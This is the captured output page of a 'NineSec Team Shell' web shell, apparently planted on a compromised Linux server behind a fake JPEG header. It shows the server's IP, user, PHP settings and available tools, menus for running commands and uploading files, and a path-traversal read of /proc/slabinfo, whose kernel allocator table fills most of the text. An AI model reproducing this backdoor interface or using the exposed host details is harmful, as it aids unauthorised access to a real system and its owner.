�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.218
Web Server : Apache
System : Linux bob 6.17.4-2-pve #1 SMP PREEMPT_DYNAMIC PMX 6.17.4-2 (2025-12-19T07:49Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /media/../etc/ghostscript/../python3.8/../kernel/../php/../python3/../../../proc/149/../

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //media/../etc/ghostscript/../python3.8/../kernel/../php/../python3/../../../proc/149/../slabinfo
slabinfo - version: 2.1
# name            <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables <limit> <batchcount> <sharedfactor> : slabdata <active_slabs> <num_slabs> <sharedavail>
nf_conntrack_expect    273    273    208   39    2 : tunables    0    0    0 : slabdata      7      7      0
nf_conntrack        7934   9248    256   32    2 : tunables    0    0    0 : slabdata    289    289      0
isofs_inode_cache     48     48    680   24    4 : tunables    0    0    0 : slabdata      2      2      0
rpc_inode_cache       23     23    704   23    4 : tunables    0    0    0 : slabdata      1      1      0
kvm_vcpu               9      9   9152    3    8 : tunables    0    0    0 : slabdata      3      3      0
kvm_mmu_page_header    110    110    184   22    1 : tunables    0    0    0 : slabdata      5      5      0
x86_emulator          36     36   2672   12    8 : tunables    0    0    0 : slabdata      3      3      0
zfs_znode_hold_cache      0      0     88   46    1 : tunables    0    0    0 : slabdata      0      0      0
zfs_znode_cache        0      0   1120   29    8 : tunables    0    0    0 : slabdata      0      0      0
zap_attr_long_cache      0      0   1056   31    8 : tunables    0    0    0 : slabdata      0      0      0
zap_name_long          0      0   1096   29    8 : tunables    0    0    0 : slabdata      0      0      0
zap_attr_cache         0      0    288   28    2 : tunables    0    0    0 : slabdata      0      0      0
zap_name               0      0    328   24    2 : tunables    0    0    0 : slabdata      0      0      0
sio_cache_2            0      0    168   24    1 : tunables    0    0    0 : slabdata      0      0      0
sio_cache_1            0      0    152   26    1 : tunables    0    0    0 : slabdata      0      0      0
sio_cache_0            0      0    136   30    1 : tunables    0    0    0 : slabdata      0      0      0
zil_zcw_cache          0      0    152   26    1 : tunables    0    0    0 : slabdata      0      0      0
zil_lwb_cache          0      0    392   20    2 : tunables    0    0    0 : slabdata      0      0      0
dbuf_dirty_record_t      0      0    368   22    2 : tunables    0    0    0 : slabdata      0      0      0
dmu_buf_impl_t         0      0    368   22    2 : tunables    0    0    0 : slabdata      0      0      0
arc_buf_t              0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
arc_buf_hdr_t_l2only      0      0     96   42    1 : tunables    0    0    0 : slabdata      0      0      0
arc_buf_hdr_t_full     34     34    240   34    2 : tunables    0    0    0 : slabdata      1      1      0
dnode_t                0      0    952   34    8 : tunables    0    0    0 : slabdata      0      0      0
sa_cache               0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
abd_t                 42     42     96   42    1 : tunables    0    0    0 : slabdata      1      1      0
lz4_cache              0      0  16384    2    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_16384      6      6  16384    2    8 : tunables    0    0    0 : slabdata      3      3      0
zio_buf_comb_12288      0      0  12288    2    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_8192      0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_6144      0      0   6144    5    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_4096      0      0   4096    8    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_3072      0      0   3072   10    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_2048      0      0   2048   16    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_1536      0      0   1536   21    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_1024      0      0   1024   32    8 : tunables    0    0    0 : slabdata      0      0      0
zio_buf_comb_512       0      0    512   32    4 : tunables    0    0    0 : slabdata      0      0      0
zio_link_cache         0      0     48   85    1 : tunables    0    0    0 : slabdata      0      0      0
zio_cache              0      0   1216   26    8 : tunables    0    0    0 : slabdata      0      0      0
ddt_log_entry_trad_cache      0      0    328   24    2 : tunables    0    0    0 : slabdata      0      0      0
ddt_log_entry_flat_cache      0      0    144   28    1 : tunables    0    0    0 : slabdata      0      0      0
ddt_entry_trad_cache      0      0    424   38    4 : tunables    0    0    0 : slabdata      0      0      0
ddt_entry_flat_cache      0      0    240   34    2 : tunables    0    0    0 : slabdata      0      0      0
brt_entry_cache        0      0    168   24    1 : tunables    0    0    0 : slabdata      0      0      0
metaslab_alloc_trace_cache      0      0     72   56    1 : tunables    0    0    0 : slabdata      0      0      0
zfs_btree_leaf_cache      0      0   4096    8    8 : tunables    0    0    0 : slabdata      0      0      0
kcf_context_cache      0      0     64   64    1 : tunables    0    0    0 : slabdata      0      0      0
ext4_groupinfo_4k  29718  29718    152   26    1 : tunables    0    0    0 : slabdata   1143   1143      0
bio-176              609    609    192   21    1 : tunables    0    0    0 : slabdata     29     29      0
scsi_sense_cache     384    384    128   32    1 : tunables    0    0    0 : slabdata     12     12      0
fsverity_info          0      0    264   31    2 : tunables    0    0    0 : slabdata      0      0      0
fscrypt_inode_info      0      0    128   32    1 : tunables    0    0    0 : slabdata      0      0      0
MPTCPv6                0      0   2112   15    8 : tunables    0    0    0 : slabdata      0      0      0
ip6-frags              0      0    184   22    1 : tunables    0    0    0 : slabdata      0      0      0
RAWv6                338    338   1216   26    8 : tunables    0    0    0 : slabdata     13     13      0
UDPv6                552    621   1408   23    8 : tunables    0    0    0 : slabdata     27     27      0
tw_sock_TCPv6        837    837    264   31    2 : tunables    0    0    0 : slabdata     27     27      0
request_sock_TCPv6    150    150    320   25    2 : tunables    0    0    0 : slabdata      6      6      0
TCPv6                216    216   2624   12    8 : tunables    0    0    0 : slabdata     18     18      0
kcopyd_job             0      0   3240   10    8 : tunables    0    0    0 : slabdata      0      0      0
dm_uevent              0      0   2888   11    8 : tunables    0    0    0 : slabdata      0      0      0
bio-136              798    798    192   21    1 : tunables    0    0    0 : slabdata     38     38      0
io_kiocb             192    192    256   32    2 : tunables    0    0    0 : slabdata      6      6      0
bio-264              100    100    320   25    2 : tunables    0    0    0 : slabdata      4      4      0
mqueue_inode_cache     68     68    960   34    8 : tunables    0    0    0 : slabdata      2      2      0
fuse_request         391    391    176   23    1 : tunables    0    0    0 : slabdata     17     17      0
fuse_inode          3024   3024    896   36    8 : tunables    0    0    0 : slabdata     84     84      0
ecryptfs_inode_cache      0      0   1024   32    8 : tunables    0    0    0 : slabdata      0      0      0
ecryptfs_file_cache      0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
fat_inode_cache       40     40    784   20    4 : tunables    0    0    0 : slabdata      2      2      0
fat_cache              0      0     40  102    1 : tunables    0    0    0 : slabdata      0      0      0
squashfs_inode_cache      0      0    704   23    4 : tunables    0    0    0 : slabdata      0      0      0
jbd2_transaction_s   1281   1281    192   21    1 : tunables    0    0    0 : slabdata     61     61      0
jbd2_journal_head   2346   2346    120   34    1 : tunables    0    0    0 : slabdata     69     69      0
jbd2_revoke_table_s    768    768     16  256    1 : tunables    0    0    0 : slabdata      3      3      0
ext4_inode_cache  1347262 2299294   1128   29    8 : tunables    0    0    0 : slabdata  79286  79286      0
ext4_allocation_context    288    288    168   24    1 : tunables    0    0    0 : slabdata     12     12      0
ext4_prealloc_space    432    432    112   36    1 : tunables    0    0    0 : slabdata     12     12      0
ext4_io_end         2560   2560     64   64    1 : tunables    0    0    0 : slabdata     40     40      0
bio_post_read_ctx    170    170     48   85    1 : tunables    0    0    0 : slabdata      2      2      0
pending_reservation   2944   3584     32  128    1 : tunables    0    0    0 : slabdata     28     28      0
extent_status     1397214 1601196     40  102    1 : tunables    0    0    0 : slabdata  15698  15698      0
mb_cache_entry      2774   3066     56   73    1 : tunables    0    0    0 : slabdata     42     42      0
kioctx               196    196    576   28    4 : tunables    0    0    0 : slabdata      7      7      0
userfaultfd_ctx_cache      0      0    192   21    1 : tunables    0    0    0 : slabdata      0      0      0
fanotify_perm_event      0      0    112   36    1 : tunables    0    0    0 : slabdata      0      0      0
dnotify_struct         0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
pid_namespace         28     28    288   28    2 : tunables    0    0    0 : slabdata      1      1      0
xsk_generic_xmit_cache   3200   3840     32  128    1 : tunables    0    0    0 : slabdata     30     30      0
ip4-frags            240    240    200   20    1 : tunables    0    0    0 : slabdata     12     12      0
MPTCP                  0      0   1984   16    8 : tunables    0    0    0 : slabdata      0      0      0
request_sock_subflow_v6      0      0    392   20    2 : tunables    0    0    0 : slabdata      0      0      0
request_sock_subflow_v4      0      0    392   20    2 : tunables    0    0    0 : slabdata      0      0      0
xfrm_dst               0      0    320   25    2 : tunables    0    0    0 : slabdata      0      0      0
xfrm_state             0      0    832   39    8 : tunables    0    0    0 : slabdata      0      0      0
ip_fib_trie          850    850     48   85    1 : tunables    0    0    0 : slabdata     10     10      0
ip_fib_alias         730    730     56   73    1 : tunables    0    0    0 : slabdata     10     10      0
PING                  32     32   1024   32    8 : tunables    0    0    0 : slabdata      1      1      0
RAW                  416    416   1024   32    8 : tunables    0    0    0 : slabdata     13     13      0
UDP                  514    598   1216   26    8 : tunables    0    0    0 : slabdata     23     23      0
tw_sock_TCP         1426   1426    264   31    2 : tunables    0    0    0 : slabdata     46     46      0
request_sock_TCP     850    975    320   25    2 : tunables    0    0    0 : slabdata     39     39      0
TCP                  403    507   2432   13    8 : tunables    0    0    0 : slabdata     39     39      0
hugetlbfs_inode_cache    200    200    640   25    4 : tunables    0    0    0 : slabdata      8      8      0
dquot                  0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
bio-280               50     50    320   25    2 : tunables    0    0    0 : slabdata      2      2      0
ep_head             4352   4352     16  256    1 : tunables    0    0    0 : slabdata     17     17      0
eventpoll_epi       3254   3424    128   32    1 : tunables    0    0    0 : slabdata    107    107      0
dax_cache             39     39    832   39    8 : tunables    0    0    0 : slabdata      1      1      0
bio_integrity_data    320    320    128   32    1 : tunables    0    0    0 : slabdata     10     10      0
request_queue        160    160   1000   32    8 : tunables    0    0    0 : slabdata      5      5      0
bio-200              736    864    256   32    2 : tunables    0    0    0 : slabdata     27     27      0
biovec-max           260    280   4096    8    8 : tunables    0    0    0 : slabdata     35     35      0
biovec-128           320    368   2048   16    8 : tunables    0    0    0 : slabdata     23     23      0
msg_msg-8k             0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-4k             0      0   4096    8    8 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-2k             0      0   2048   16    8 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-1k             0      0   1024   32    8 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-512            0      0    512   32    4 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-256            0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-128            0      0    128   32    1 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-64             0      0     64   64    1 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-32             0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-16             0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-8              0      0      8  512    1 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-192            0      0    192   21    1 : tunables    0    0    0 : slabdata      0      0      0
msg_msg-96             0      0     96   42    1 : tunables    0    0    0 : slabdata      0      0      0
khugepaged_mm_slot   2856   2856     40  102    1 : tunables    0    0    0 : slabdata     28     28      0
memdup_user-8k         0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
memdup_user-4k        32     32   4096    8    8 : tunables    0    0    0 : slabdata      4      4      0
memdup_user-2k        64     64   2048   16    8 : tunables    0    0    0 : slabdata      4      4      0
memdup_user-1k       128    128   1024   32    8 : tunables    0    0    0 : slabdata      4      4      0
memdup_user-512       96     96    512   32    4 : tunables    0    0    0 : slabdata      3      3      0
memdup_user-256        0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
memdup_user-128        0      0    128   32    1 : tunables    0    0    0 : slabdata      0      0      0
memdup_user-64       768    768     64   64    1 : tunables    0    0    0 : slabdata     12     12      0
memdup_user-32      1536   1536     32  128    1 : tunables    0    0    0 : slabdata     12     12      0
memdup_user-16      3072   3072     16  256    1 : tunables    0    0    0 : slabdata     12     12      0
memdup_user-8       6144   6144      8  512    1 : tunables    0    0    0 : slabdata     12     12      0
memdup_user-192       63     63    192   21    1 : tunables    0    0    0 : slabdata      3      3      0
memdup_user-96       504    504     96   42    1 : tunables    0    0    0 : slabdata     12     12      0
user_namespace       182    182    616   26    4 : tunables    0    0    0 : slabdata      7      7      0
iommu_iova_magazine    736    736   1024   32    8 : tunables    0    0    0 : slabdata     23     23      0
dmaengine-unmap-256     15     15   2112   15    8 : tunables    0    0    0 : slabdata      1      1      0
dmaengine-unmap-128     30     30   1088   30    8 : tunables    0    0    0 : slabdata      1      1      0
dmaengine-unmap-2 333072 778688     64   64    1 : tunables    0    0    0 : slabdata  12167  12167      0
sock_inode_cache    2760   4368    832   39    8 : tunables    0    0    0 : slabdata    112    112      0
skbuff_small_head    966    989    704   23    4 : tunables    0    0    0 : slabdata     43     43      0
skbuff_head_cache    988   1184    256   32    2 : tunables    0    0    0 : slabdata     37     37      0
tracefs_inode_cache    336    336    664   24    4 : tunables    0    0    0 : slabdata     14     14      0
debugfs_inode_cache   1575   1575    648   25    4 : tunables    0    0    0 : slabdata     63     63      0
file_lease_cache       0      0    160   25    1 : tunables    0    0    0 : slabdata      0      0      0
file_lock_cache     2179   2394    192   21    1 : tunables    0    0    0 : slabdata    114    114      0
buffer_head       1213157 3263247    104   39    1 : tunables    0    0    0 : slabdata  83673  83673      0
x86_lbr                0      0    800   20    4 : tunables    0    0    0 : slabdata      0      0      0
task_delay_info      384    384    256   32    2 : tunables    0    0    0 : slabdata     12     12      0
taskstats            773    957    560   29    4 : tunables    0    0    0 : slabdata     33     33      0
mem_cgroup_per_node    479    527   1920   17    8 : tunables    0    0    0 : slabdata     31     31      0
mem_cgroup           532    532   2240   14    8 : tunables    0    0    0 : slabdata     38     38      0
pidfs_xattr_cache      0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
pidfs_attr_cache    3502   3840     32  128    1 : tunables    0    0    0 : slabdata     30     30      0
proc_dir_entry      1260   1260    192   21    1 : tunables    0    0    0 : slabdata     60     60      0
pde_opener          1224   1224     40  102    1 : tunables    0    0    0 : slabdata     12     12      0
proc_inode_cache   27794  27853    704   23    4 : tunables    0    0    0 : slabdata   1211   1211      0
seq_file             408    408    120   34    1 : tunables    0    0    0 : slabdata     12     12      0
sigqueue            2244   2244     80   51    1 : tunables    0    0    0 : slabdata     44     44      0
bdev_cache           133    133   1664   19    8 : tunables    0    0    0 : slabdata      7      7      0
shmem_inode_cache   3026   3240    784   20    4 : tunables    0    0    0 : slabdata    162    162      0
kernfs_node_cache  65364  66210    136   30    1 : tunables    0    0    0 : slabdata   2207   2207      0
mnt_cache           1491   1575    384   21    2 : tunables    0    0    0 : slabdata     75     75      0
bfilp                  0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
filp               25294  30030    192   21    1 : tunables    0    0    0 : slabdata   1430   1430      0
inode_cache        14288  14925    632   25    4 : tunables    0    0    0 : slabdata    597    597      0
dentry            786084 846720    192   21    1 : tunables    0    0    0 : slabdata  40320  40320      0
names_cache          168    200   4096    8    8 : tunables    0    0    0 : slabdata     25     25      0
net_namespace         40     40   5952    5    8 : tunables    0    0    0 : slabdata      8      8      0
ima_iint_cache         0      0    104   39    1 : tunables    0    0    0 : slabdata      0      0      0
lsm_inode_cache   1411565 2436298     88   46    1 : tunables    0    0    0 : slabdata  52963  52963      0
lsm_file_cache     27525  42330     24  170    1 : tunables    0    0    0 : slabdata    249    249      0
uts_namespace        444    444    432   37    4 : tunables    0    0    0 : slabdata     12     12      0
nsproxy              672    672     72   56    1 : tunables    0    0    0 : slabdata     12     12      0
vm_area_struct    1061315 1061445    192   21    1 : tunables    0    0    0 : slabdata  50545  50545      0
files_cache         1734   2047    704   23    4 : tunables    0    0    0 : slabdata     89     89      0
signal_cache        2743   3892   1152   28    8 : tunables    0    0    0 : slabdata    139    139      0
sighand_cache       1622   1995   2112   15    8 : tunables    0    0    0 : slabdata    133    133      0
task_struct         2852   2862  12480    2    8 : tunables    0    0    0 : slabdata   1431   1431      0
anon_vma_chain    791421 791744     64   64    1 : tunables    0    0    0 : slabdata  12371  12371      0
anon_vma          402198 402363    104   39    1 : tunables    0    0    0 : slabdata  10317  10317      0
pid                 5441   6678    192   21    1 : tunables    0    0    0 : slabdata    318    318      0
Acpi-ParseExt        468    468    104   39    1 : tunables    0    0    0 : slabdata     12     12      0
Acpi-State          1729   2040     80   51    1 : tunables    0    0    0 : slabdata     40     40      0
shared_policy_node   7820   7820     48   85    1 : tunables    0    0    0 : slabdata     92     92      0
numa_policy          180    180    272   30    2 : tunables    0    0    0 : slabdata      6      6      0
perf_event           288    288   1344   24    8 : tunables    0    0    0 : slabdata     12     12      0
trace_event_file    2226   2226     96   42    1 : tunables    0    0    0 : slabdata     53     53      0
ftrace_event_field  28477  36719     56   73    1 : tunables    0    0    0 : slabdata    503    503      0
pool_workqueue      1952   1952    512   32    4 : tunables    0    0    0 : slabdata     61     61      0
radix_tree_node   524004 665252    584   28    4 : tunables    0    0    0 : slabdata  23759  23759      0
task_group          1025   1025    640   25    4 : tunables    0    0    0 : slabdata     41     41      0
maple_node         96272  97216    256   32    2 : tunables    0    0    0 : slabdata   3038   3038      0
mm_struct           1502   1932   1536   21    8 : tunables    0    0    0 : slabdata     92     92      0
vmap_area          32047  42616     72   56    1 : tunables    0    0    0 : slabdata    761    761      0
kmalloc_buckets       36     36    112   36    1 : tunables    0    0    0 : slabdata      1      1      0
kmalloc-cg-8k         68     68   8192    4    8 : tunables    0    0    0 : slabdata     17     17      0
kmalloc-cg-4k        239    264   4096    8    8 : tunables    0    0    0 : slabdata     33     33      0
kmalloc-cg-2k       1441   1568   2048   16    8 : tunables    0    0    0 : slabdata     98     98      0
kmalloc-cg-1k       1860   2496   1024   32    8 : tunables    0    0    0 : slabdata     78     78      0
kmalloc-cg-512      1254   1376    512   32    4 : tunables    0    0    0 : slabdata     43     43      0
kmalloc-cg-256       416    416    256   32    2 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-cg-128       864    992    128   32    1 : tunables    0    0    0 : slabdata     31     31      0
kmalloc-cg-64       5911   7488     64   64    1 : tunables    0    0    0 : slabdata    117    117      0
kmalloc-cg-32       5437   5632     32  128    1 : tunables    0    0    0 : slabdata     44     44      0
kmalloc-cg-16       3072   3072     16  256    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-cg-8       11788  12800      8  512    1 : tunables    0    0    0 : slabdata     25     25      0
kmalloc-cg-192      1512   1512    192   21    1 : tunables    0    0    0 : slabdata     72     72      0
kmalloc-cg-96       2195   2310     96   42    1 : tunables    0    0    0 : slabdata     55     55      0
dma-kmalloc-8k         0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-4k         0      0   4096    8    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-2k         0      0   2048   16    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-1k         0      0   1024   32    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-512        0      0    512   32    4 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-256        0      0    256   32    2 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-128        0      0    128   32    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-64         0      0     64   64    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-32         0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-16         0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-8          0      0      8  512    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-192        0      0    192   21    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-96         0      0     96   42    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rcl-8k         0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rcl-4k        48     48   4096    8    8 : tunables    0    0    0 : slabdata      6      6      0
kmalloc-rcl-2k        96     96   2048   16    8 : tunables    0    0    0 : slabdata      6      6      0
kmalloc-rcl-1k       192    192   1024   32    8 : tunables    0    0    0 : slabdata      6      6      0
kmalloc-rcl-512      480    480    512   32    4 : tunables    0    0    0 : slabdata     15     15      0
kmalloc-rcl-256      800    800    256   32    2 : tunables    0    0    0 : slabdata     25     25      0
kmalloc-rcl-128     3262   3360    128   32    1 : tunables    0    0    0 : slabdata    105    105      0
kmalloc-rcl-64         0      0     64   64    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rcl-32         0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rcl-16         0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rcl-8          0      0      8  512    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rcl-192     1434   1554    192   21    1 : tunables    0    0    0 : slabdata     74     74      0
kmalloc-rcl-96    106857 108066     96   42    1 : tunables    0    0    0 : slabdata   2573   2573      0
kmalloc-rnd-15-8k    160    160   8192    4    8 : tunables    0    0    0 : slabdata     40     40      0
kmalloc-rnd-15-4k     40     40   4096    8    8 : tunables    0    0    0 : slabdata      5      5      0
kmalloc-rnd-15-2k    112    112   2048   16    8 : tunables    0    0    0 : slabdata      7      7      0
kmalloc-rnd-15-1k    610    640   1024   32    8 : tunables    0    0    0 : slabdata     20     20      0
kmalloc-rnd-15-512    416    416    512   32    4 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-rnd-15-256    480    480    256   32    2 : tunables    0    0    0 : slabdata     15     15      0
kmalloc-rnd-15-128    384    384    128   32    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-15-64   1536   1536     64   64    1 : tunables    0    0    0 : slabdata     24     24      0
kmalloc-rnd-15-32   4929   6016     32  128    1 : tunables    0    0    0 : slabdata     47     47      0
kmalloc-rnd-15-16   3072   3072     16  256    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-15-8    6144   6144      8  512    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-15-192    336    336    192   21    1 : tunables    0    0    0 : slabdata     16     16      0
kmalloc-rnd-15-96   1050   1050     96   42    1 : tunables    0    0    0 : slabdata     25     25      0
kmalloc-rnd-14-8k     40     40   8192    4    8 : tunables    0    0    0 : slabdata     10     10      0
kmalloc-rnd-14-4k     96     96   4096    8    8 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-14-2k    192    192   2048   16    8 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-14-1k    948    960   1024   32    8 : tunables    0    0    0 : slabdata     30     30      0
kmalloc-rnd-14-512    416    416    512   32    4 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-rnd-14-256   1283   1408    256   32    2 : tunables    0    0    0 : slabdata     44     44      0
kmalloc-rnd-14-128    384    384    128   32    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-14-64    896    896     64   64    1 : tunables    0    0    0 : slabdata     14     14      0
kmalloc-rnd-14-32   1536   1536     32  128    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-14-16   3072   3072     16  256    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-14-8   11264  13312      8  512    1 : tunables    0    0    0 : slabdata     26     26      0
kmalloc-rnd-14-192    273    273    192   21    1 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-rnd-14-96   2124   2226     96   42    1 : tunables    0    0    0 : slabdata     53     53      0
kmalloc-rnd-13-8k      4      4   8192    4    8 : tunables    0    0    0 : slabdata      1      1      0
kmalloc-rnd-13-4k    216    232   4096    8    8 : tunables    0    0    0 : slabdata     29     29      0
kmalloc-rnd-13-2k    480    480   2048   16    8 : tunables    0    0    0 : slabdata     30     30      0
kmalloc-rnd-13-1k    480    480   1024   32    8 : tunables    0    0    0 : slabdata     15     15      0
kmalloc-rnd-13-512    416    416    512   32    4 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-rnd-13-256   1184   1184    256   32    2 : tunables    0    0    0 : slabdata     37     37      0
kmalloc-rnd-13-128    416    416    128   32    1 : tunables    0    0    0 : slabdata     13     13      0
kmalloc-rnd-13-64   2976   3200     64   64    1 : tunables    0    0    0 : slabdata     50     50      0
kmalloc-rnd-13-32   1536   1536     32  128    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-13-16   4864   4864     16  256    1 : tunables    0    0    0 : slabdata     19     19      0
kmalloc-rnd-13-8    6144   6144      8  512    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-13-192    483    483    192   21    1 : tunables    0    0    0 : slabdata     23     23      0
kmalloc-rnd-13-96   2520   2520     96   42    1 : tunables    0    0    0 : slabdata     60     60      0
kmalloc-rnd-12-8k      0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-rnd-12-4k     40     40   4096    8    8 : tunables    0    0    0 : slabdata      5      5      0
kmalloc-rnd-12-2k    272    272   2048   16    8 : tunables    0    0    0 : slabdata     17     17      0
kmalloc-rnd-12-1k    384    384   1024   32    8 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-12-512    672    672    512   32    4 : tunables    0    0    0 : slabdata     21     21      0
kmalloc-rnd-12-256    384    384    256   32    2 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-12-128    384    384    128   32    1 : tunables    0    0    0 : slabdata     12     12      0
kmalloc-rnd-12-64   1984   1984     64   64    1 : tunables    0    0    0 : slabdata     31     31      0
kmalloc-rnd-12-32   2048   2048     32  128    1 : tunables    0    0    0 : slabdata     16     16      0
kmalloc-rnd-12-16   2560   2560     16  256    1 : tunables    0    0    0 : slabdata     10     10      0
kmalloc-rnd-12-8    5120   5120      8  512    1 : tunables    0    0    0 : slabdata     10     10      0
kmalloc-rnd-12-192  95907  95907    192   21    1 : tunables    0    0    0 : slabdata   4567   4567      0
kmalloc-rnd-12-96   4898   5670     96   42    1 : tunables    0    0    0 : slabdata    135    135      0
kmalloc-rnd-11-8k    111    120   8192    4    8 : tunables    0    0    0 : slabdata     30     30      0
